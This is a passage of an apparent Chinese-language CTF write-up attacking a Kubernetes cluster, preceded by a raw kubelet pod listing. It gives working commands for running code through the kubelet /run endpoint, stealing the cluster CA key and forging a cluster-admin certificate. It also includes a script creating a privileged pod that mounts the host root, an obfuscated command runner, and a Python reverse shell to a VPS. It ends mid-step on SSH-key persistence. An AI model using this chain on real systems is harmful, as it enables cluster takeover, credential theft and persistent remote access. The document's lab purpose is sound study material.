r-cidr=10.244.0.0/16","--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt","--cluster-signing-key-file=/etc/kubernetes/pki/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=true","--node-cidr-mask-size=24","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--root-ca-file=/etc/kubernetes/pki/ca.crt","--service-account-private-key-file=/etc/kubernetes/pki/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10252,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:23Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:20Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T12:53:20Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2026-06-03T12:53:23Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-03T20:52:56Z","containerID":"docker://4eee9f10e7ece666912c13a858bdeb31e58820e645c003a4734c8ce4766f2beb"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-controller-manager@sha256:d807554df171ba4f3b56aa2a63c2ef5b56af095fd7aebdeafedbbfcda5275d10","containerID":"docker://dc202b32822fdbf65cce917fcdab7724b83790b5e87c0fe1a4fd0f3105783624","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-flannel-ds-7tjnc","generateName":"kube-flannel-ds-","namespace":"kube-flannel","selfLink":"/api/v1/namespaces/kube-flannel/pods/kube-flannel-ds-7tjnc","uid":"2ee99dbf-5741-48d2-83b3-666f1789f702","resourceVersion":"6975","creationTimestamp":"2026-04-16T07:57:47Z","labels":{"app":"flannel","controller-revision-hash":"5c766884b","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-06-03T12:53:29.497208893Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"f0fea1f7-3b34-4f8f-bbd2-e95836da73e9","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"flannel-cfg","configMap":{"name":"kube-flannel-cfg","defaultMode":420}},{"name":"cni","hostPath":{"path":"/etc/cni/net.d","type":""}},{"name":"flannel-token-wxz9b","secret":{"secretName":"flannel-token-wxz9b","defaultMode":420}}],"containers":[{"name":"kube-flannel","image":"quay.io/coreos/flannel:v0.11.0-amd64","command":["/opt/bin/flanneld"],"args":["--ip-masq","--kube-subnet-mgr"],"env":[{"name":"POD_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.name"}}},{"name":"POD_NAMESPACE","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}}],"resources":{},"volumeMounts":[{"name":"flannel-cfg","mountPath":"/etc/kube-flannel"},{"name":"cni","mountPath":"/etc/cni/net.d"},{"name":"flannel-token-wxz9b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"flannel","serviceAccount":"flannel","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:54:17Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:54:17Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T07:57:47Z","containerStatuses":[{"name":"kube-flannel","state":{"running":{"startedAt":"2026-06-03T12:54:16Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2026-06-03T12:53:30Z","finishedAt":"2026-06-03T12:54:01Z","containerID":"docker://ec2fabe5d540de6168e7c7108fbba404b4b9253c53c152a48e8ab2a945efb3cc"}},"ready":true,"restartCount":10,"image":"quay.io/coreos/flannel:v0.11.0-amd64","imageID":"docker-pullable://quay.io/coreos/flannel@sha256:7806805c93b20a168d0bbbd25c6a213f00ac58a511c47e8fa6409543528a204e","containerID":"docker://0284c90be7a8ecce78f6aee8eddc1c3d2b1e64f277fe91d299e00d269a62e895","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-proxy-j874v","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-j874v","uid":"84ee99bb-d025-4b62-a2dd-44012d40d1e3","resourceVersion":"7009","creationTimestamp":"2026-04-16T08:19:40Z","labels":{"controller-revision-hash":"844c78dc9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-06-03T12:53:29.497195785Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"ce02234e-3c04-4cd6-bd21-c2c04ec22234","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-proxy-token-kbw4r","secret":{"secretName":"kube-proxy-token-kbw4r","defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-proxy-token-kbw4r","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"beta.kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:31Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:53:31Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T08:19:40Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2026-06-03T12:53:30Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:51Z","finishedAt":"2026-06-03T20:52:56Z","containerID":"docker://c326f93b41399ca58a0f908c4f73c348dcb15c8510d7f859318ad6c680d80ad0"}},"ready":true,"restartCount":5,"image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-proxy@sha256:166939d1b8d0988d675a027f459e40fbded092887905cc1b62b7e4cb67d493c5","containerID":"docker://d76fd77cecc0550a4eb4050bc1c17b13b741c3971ad42e9dd59b5e38a552afea","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"rivulet-hostpath","namespace":"default","selfLink":"/api/v1/namespaces/default/pods/rivulet-hostpath","uid":"d8706a8b-790a-4aaf-a535-bc9804b982a2","resourceVersion":"7363","creationTimestamp":"2026-06-03T12:57:12Z","annotations":{"kubernetes.io/config.seen":"2026-06-03T12:57:12.50469543Z","kubernetes.io/config.source":"api"}},"spec":{"volumes":[{"name":"hostroot","hostPath":{"path":"/","type":"Directory"}},{"name":"default-token-4k8dl","secret":{"secretName":"default-token-4k8dl","defaultMode":420}}],"containers":[{"name":"hostsh","image":"shiro-web:latest","command":["/bin/sh","-c","sleep 36000"],"resources":{},"volumeMounts":[{"name":"hostroot","mountPath":"/host"},{"name":"default-token-4k8dl","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Never","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"web","hostNetwork":true,"hostPID":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:57:12Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:57:13Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:57:13Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T12:57:12Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T12:57:12Z","containerStatuses":[{"name":"hostsh","state":{"running":{"startedAt":"2026-06-03T12:57:13Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"shiro-web:latest","imageID":"docker://sha256:6a0d803c0fcaf4452dbe00f06ce9c0dc79af84f018bc94a16b2fb48a5c7d90f8","containerID":"docker://dc223a23572818c336bfb7cf27ed87b6e54c1cd49efc798f9dcc6f8efe1032df","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"host-escape","namespace":"default","selfLink":"/api/v1/namespaces/default/pods/host-escape","uid":"88eb63f4-b35d-4090-92b5-86836a05de17","resourceVersion":"7951","creationTimestamp":"2026-06-03T13:05:00Z","annotations":{"kubernetes.io/config.seen":"2026-06-03T13:05:00.901970732Z","kubernetes.io/config.source":"api"}},"spec":{"volumes":[{"name":"host","hostPath":{"path":"/","type":""}},{"name":"default-token-4k8dl","secret":{"secretName":"default-token-4k8dl","defaultMode":420}}],"containers":[{"name":"escape","image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","command":["/bin/sh"],"args":["-c","sleep 3600"],"resources":{},"volumeMounts":[{"name":"host","mountPath":"/host"},{"name":"default-token-4k8dl","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"web","hostNetwork":true,"hostPID":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node-role.kubernetes.io/master","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:05:00Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:05:02Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:05:02Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-03T13:05:00Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-03T13:05:00Z","containerStatuses":[{"name":"escape","state":{"running":{"startedAt":"2026-06-03T13:05:01Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855","containerID":"docker://0dfeef6d207659913bf4adc3e444104307219f6819346386ab5118832920b554","started":true}],"qosClass":"BestEffort"}}]}
为什么要访问
/pods?kubelet 的
/pods端点会返回当前节点上所有 Pod 的完整配置信息,包括:
- Pod 名称、命名空间、状态
- 容器镜像、启动命令
- 挂载的卷(volumes)和卷挂载(volumeMounts) ← 这是最关键的
- 安全上下文(securityContext,如是否 privileged)
这些信息帮我们找到可利用的攻击面。
成功返回了所有 Pod 信息(JSON 格式),关键信息整理如下:
[节点信息]
Node Name: web
Node IP: 192.168.1.56(宿主机内网 IP)
架构: 单节点集群
[核心 Pod 列表]
1. kube-apiserver-web (namespace: kube-system)
- 挂载了 /etc/kubernetes/pki(K8s 全部 PKI 证书)← 关键目标!
2. kube-controller-manager-web (namespace: kube-system)
- 挂载了 /etc/kubernetes/controller-manager.conf
3. etcd-web (namespace: kube-system)
- 挂载了 /var/lib/etcd 和 /etc/kubernetes/pki/etcd
4. kube-scheduler-web (namespace: kube-system)
5. rivulet-hostpath (namespace: default) ← 有人之前创建的特权 Pod
- privileged: true, hostPID: true, hostNetwork: true
- 挂载: 宿主机 / → /host
从 Pod 列表中我们能获取什么?
- kube-apiserver Pod 挂载了
/etc/kubernetes/pki—— 这个目录包含了 K8s 集群的全部 PKI 证书,包括最关键的 CA 私钥(ca.key)。有了 CA 私钥,我们可以签发任意证书。- 节点 IP 是
192.168.1.56,后续访问 kubelet 可以用172.17.0.1或192.168.1.56。- 可以通过 kubelet 的
/run/端点在任意 Pod 中执行命令。
4.2 通过 kubelet 在 apiserver Pod 中执行命令
kubelet 的
/run/端点是什么?kubelet 提供了一个 HTTP 接口
/run/<namespace>/<pod>/<container>,允许在指定容器中执行命令。如果 kubelet 没有配置认证(或者我们从内网访问绕过了认证),就可以在任意 Pod 中执行命令。格式:
POST /run/<namespace>/<pod>/<container>?cmd=<命令>
# curl = HTTP 客户端
# -sk = 跳过 SSL 验证 + 静默
# -X POST = 使用 POST 方法(kubelet /run 要求 POST)
# -G = 把 --data-urlencode 的数据拼到 URL 的查询参数中(?cmd=xxx)
# 不加 -G 的话,-d 的数据会放到请求体里,kubelet 期望参数在 URL 里
# --data-urlencode 'cmd=id' = 对 'cmd=id' 做 URL 编码后作为查询参数
# 这里 cmd 是 kubelet 定义的参数名,id 是要执行的命令
#
# URL 路径解释:
# /run/ → kubelet 的命令执行端点
# kube-system/ → Pod 所在的命名空间(namespace)
# kube-apiserver-web/ → Pod 名称(从 /pods 接口中获取)
# kube-apiserver → 容器名称(一个 Pod 可能有多个容器,要指定哪个)
#
# 所以这个 URL 的意思是:
# "在 kube-system 命名空间的 kube-apiserver-web Pod 的 kube-apiserver 容器中执行 id 命令"
curl -sk -X POST -G --data-urlencode 'cmd=id' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver'
输出:
uid=0(root) gid=0(root) groups=0(root)
成功以 root 身份在 apiserver Pod 中执行命令!
为什么选择 apiserver Pod?
从
/pods返回的信息中,我们看到 kube-apiserver-web Pod 挂载了 宿主机的/etc/kubernetes/pki目录(hostPath 卷)。这个目录包含了 K8s 集群的全部 PKI 证书,其中最关键的是 ca.key(CA 私钥)。有了 CA 私钥,我们可以自己签发一个
O=system:masters的客户端证书,获得集群管理员权限。
成功以 root 身份在 apiserver Pod 中执行命令!
这一步的意义极其重大:我们可以在 apiserver Pod 里读取
/etc/kubernetes/pki/下的所有证书文件,包括 CA 私钥。
4.3 窃取 PKI 证书
为什么需要 CA 私钥?
Kubernetes 使用基于证书的双向 TLS 认证(mTLS):
- CA 证书 + CA 私钥 用于签发所有其他证书
- 客户端证书中的 CN(Common Name) 和 O(Organization) 字段决定了用户的身份和权限
O=system:masters组绑定到cluster-adminClusterRole,拥有集群最高权限- 如果我们有 CA 私钥,就可以自己签发一个
CN=admin, O=system:masters的客户端证书- 用这个证书访问 API Server,就等于拥有了集群管理员权限
# 列出 PKI 目录
curl -sk -X POST -G --data-urlencode 'cmd=ls -la /etc/kubernetes/pki' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver'
输出:
total 68
-rw-r--r-- 1 root root 1025 Apr 16 07:55 ca.crt ← CA 证书
-rw------- 1 root root 1675 Apr 16 07:55 ca.key ← CA 私钥(最关键!)
-rw-r--r-- 1 root root 1099 Apr 16 07:55 apiserver-kubelet-client.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver-kubelet-client.key
-rw-r--r-- 1 root root 1212 Apr 16 07:55 apiserver.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver.key
drwxr-xr-x 2 root root 4096 Apr 16 07:55 etcd/
...
拉取 CA 证书和私钥到本地:
# 在 apiserver 容器中执行 cat /etc/kubernetes/pki/ca.crt
# > ca.crt = 把输出重定向保存到本地文件 ca.crt
# ca.crt 是 K8s 集群的 CA 证书(公开的,不敏感)
# 后续用 openssl 签发伪造证书时需要指定 -CA ca.crt
curl -sk -X POST -G --data-urlencode 'cmd=cat /etc/kubernetes/pki/ca.crt' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver' > ca.crt
# 同理,读取 CA 私钥
# ca.key 是整个集群最敏感的文件!有了它就能签发任意证书
# 后续用 openssl 签发伪造证书时需要指定 -CAkey ca.key
curl -sk -X POST -G --data-urlencode 'cmd=cat /etc/kubernetes/pki/ca.key' 'https://172.17.0.1:10250/run/kube-system/kube-apiserver-web/kube-apiserver' > ca.key
4.4 伪造 cluster-admin 客户端证书
这一步在本地(Kali)执行。
原理:
- 生成一对新的 RSA 私钥(这是我们自己的,和 K8s 无关)
- 用这个私钥创建一个 CSR(证书签名请求),CN 设为
rivulet-admin,O 设为system:masters- 用窃取的 CA 证书 + CA 私钥签发这个 CSR
- 得到的
admin.crt就是一个合法的 K8s 客户端证书- 因为 O=system:masters 对应 cluster-admin 权限,所以这个证书拥有集群最高权限
# ===== 第 1 步:生成新的 RSA 私钥 =====
# openssl genrsa = 生成 RSA 私钥
# -out admin.key = 输出到 admin.key 文件
# 2048 = 密钥长度 2048 位(安全强度足够)
# 这个私钥是我们自己生成的,和 K8s 无关,用于后续的客户端证书
openssl genrsa -out admin.key 2048
# ===== 第 2 步:创建 CSR(Certificate Signing Request,证书签名请求)=====
# openssl req -new = 创建新的证书签名请求
# -key admin.key = 使用刚才生成的私钥
# -out admin.csr = 输出 CSR 到 admin.csr 文件
# -subj '/CN=rivulet-admin/O=system:masters' = 证书主题(Subject)
# CN (Common Name) = rivulet-admin → 用户名,K8s 用这个字段识别用户身份
# O (Organization) = system:masters → 组名
# ⚠️ 这是关键!K8s 默认将 system:masters 组绑定到 cluster-admin ClusterRole
# cluster-admin 拥有集群内所有资源的所有操作权限(最高权限)
# 所以这个 CSR 一旦被 CA 签发,就等于拥有了一个集群管理员证书
openssl req -new -key admin.key -out admin.csr \
-subj '/CN=rivulet-admin/O=system:masters'
# ===== 第 3 步:用 CA 证书和私钥签发客户端证书 =====
# openssl x509 -req = 处理 CSR,签发 X.509 证书
# -in admin.csr = 输入的 CSR 文件
# -CA ca.crt = 用这个 CA 证书来签发(我们窃取的 K8s CA 证书)
# -CAkey ca.key = 用这个 CA 私钥来签名(我们窃取的 K8s CA 私钥!)
# -CAcreateserial = 如果 ca.srl 文件不存在就创建一个(序列号文件)
# -out admin.crt = 签发后的客户端证书输出到 admin.crt
# -days 365 = 证书有效期 365 天
#
# 原理:K8s API Server 信任这个 CA(ca.crt)签发的所有证书
# 当我们用 admin.crt 连接 API Server 时:
# 1. API Server 验证证书链:admin.crt → ca.crt(可信)
# 2. 提取证书中的 O=system:masters → 映射到 cluster-admin 角色
# 3. 授予我们集群管理员权限
openssl x509 -req \
-in admin.csr \
-CA ca.crt -CAkey ca.key -CAcreateserial \
-out admin.crt -days 365
验证伪造的证书是否有效:
# curl -sS = silent + show error(不显示进度条但显示错误)
# -k = 跳过 SSL 验证(API Server 用自签证书)
# --cert admin.crt = 指定客户端证书(我们伪造的 admin 证书)
# --key admin.key = 指定客户端私钥(配合证书使用)
# --cacert ca.crt = 指定 CA 证书(用于验证服务器证书,可选但更安全)
# https://8.130.80.176:6443/api/v1/namespaces
# 6443 = K8s API Server 端口
# /api/v1 = K8s API v1 版本路径
# /namespaces = 列出所有命名空间
# | python3 -m json.tool = 用 Python 格式化 JSON 输出(美化显示)
# | head = 只显示前几行
#
# 如果返回 200 + JSON 数据 → 证书有效,我们拥有集群管理员权限
# 如果返回 403 → 证书有问题或权限不足
curl -sS -k --cert admin.crt --key admin.key --cacert ca.crt https://8.160.121.162:6443/api/v1/namespaces | python3 -m json.tool | head
如果返回了 namespaces 列表而不是 403 错误,说明证书伪造成功,我们已经拥有集群管理员权限。
4.5 创建特权 Pod(hostPath 挂载宿主机根目录)
这是容器逃逸的核心步骤。
原理:
- Kubernetes 的 hostPath 卷类型允许将宿主机的目录挂载到容器中
- 如果挂载
/(根目录),容器就能读写宿主机的所有文件- privileged: true 让容器拥有所有 Linux capabilities,等同于宿主机 root
- hostPID: true 让容器可以看到宿主机的所有进程
- hostNetwork: true 让容器使用宿主机的网络栈
这些配置组合在一起,容器就完全等同于宿主机上的一个 root 进程。
#!/usr/bin/env python3
import requests, urllib3, time
urllib3.disable_warnings()
BASE = 'https://8.160.121.162:6443' # K8s API Server 地址
CERT = ('admin.crt', 'admin.key') # 我们伪造的 admin 证书
s = requests.Session()
s.cert = CERT
s.verify = False
name = 'rivulet-hostpath'
# 先删除可能存在的同名 Pod
s.delete(f'{BASE}/api/v1/namespaces/default/pods/{name}', timeout=10)
time.sleep(1)
# 创建特权 Pod
pod = {
'apiVersion': 'v1',
'kind': 'Pod',
'metadata': {'name': name, 'namespace': 'default'},
'spec': {
'nodeName': 'web', # 指定调度到 web 节点
'hostNetwork': True, # 使用宿主机网络
'hostPID': True, # 可以看到宿主机进程
'restartPolicy': 'Never',
'containers': [{
'name': 'hostsh',
'image': 'shiro-web:latest', # 使用节点上已有的镜像(不需要拉取)
'imagePullPolicy': 'IfNotPresent',
'command': ['/bin/sh', '-c', 'sleep 36000'],
'securityContext': {'privileged': True}, # 特权模式
'volumeMounts': [{
'name': 'hostroot',
'mountPath': '/host' # 宿主机根目录挂载到 /host
}]
}],
'volumes': [{
'name': 'hostroot',
'hostPath': {'path': '/', 'type': 'Directory'} # 挂载宿主机 /
}]
}
}
r = s.post(f'{BASE}/api/v1/namespaces/default/pods', json=pod, timeout=10)
print('create', r.status_code, r.text[:200])
输出:
create 201 {"kind":"Pod","apiVersion":"v1","metadata":{"name":"rivulet-hostpath",...
201 状态码表示 Pod 创建成功!
现在这个 Pod 已经在运行了,它的
/host目录就是宿主机的根目录。我们可以通过 kubelet 的/run/端点在这个 Pod 中执行命令,通过/host路径读写宿主机的任何文件。
4.6 读取 flag
# 与之前通过 kubelet 执行命令的格式完全相同,只是:
# 1. namespace = default(我们创建的 Pod 在 default 命名空间)
# 2. pod = rivulet-hostpath(我们创建的特权 Pod 名称)
# 3. container = hostsh(Pod 中容器的名称)
# 4. cmd = cat /host/flag1
# /host 是特权 Pod 中宿主机根目录的挂载点
# 所以 /host/flag1 = 宿主机上的 /flag1 文件
curl -sk -X POST -G --data-urlencode 'cmd=cat /host/flag1' 'https://172.17.0.1:10250/run/default/rivulet-hostpath/hostsh'
输出:
flag1{1fbfaaf6-4810-4239-b8df-b182b3ea11d2}
Flag 1 获取成功!
再编写脚本执行命令反弹shell,注意执行此脚本前需要现在web的pod容器中挂上代理,并且kali的proxychains正确配置 直接打反弹shell到自己的VPS上
#!/usr/bin/env python3
import base64, subprocess, sys
POD = sys.argv[1] if len(sys.argv) > 1 else 'default/rivulet-hostpath/hostsh'
script = sys.stdin.read()
if not script.strip():
print('usage: cat cmd.sh | python3 kubelet_run.py [namespace/pod/container]', file=sys.stderr)
sys.exit(1)
b64 = base64.b64encode((script + '\nexit 0\n').encode()).decode()
cmd = f'/bin/sh -c echo${{IFS}}{b64}|base64${{IFS}}-d|sh'
url = f'https://172.17.0.1:10250/run/{POD}'
argv = [
'env', '-u', 'ALL_PROXY', '-u', 'HTTPS_PROXY', '-u', 'HTTP_PROXY',
'-u', 'all_proxy', '-u', 'http_proxy', '-u', 'https_proxy',
'proxychains4', '-q', 'curl', '--noproxy', '*',
'-k', '-m', '60', '-sS', '-X', 'POST', '-G',
'--data-urlencode', 'cmd=' + cmd,
url
]
subprocess.run(argv, check=False)
cat <<'SH' | python3 kubelet_run.py
python${IFS}-c${IFS}'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps服务器的ip",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("sh")'
SH
4.7 写入 SSH 公钥,获取持久化访问
为什么还要写公钥?
kubelet 的命令执行没有交互式终端,操作不方便。写入 SSH 公钥后可以直接 SSH 登录宿主机,获得完整的交互式 shell。
# 写入 SSH 公钥
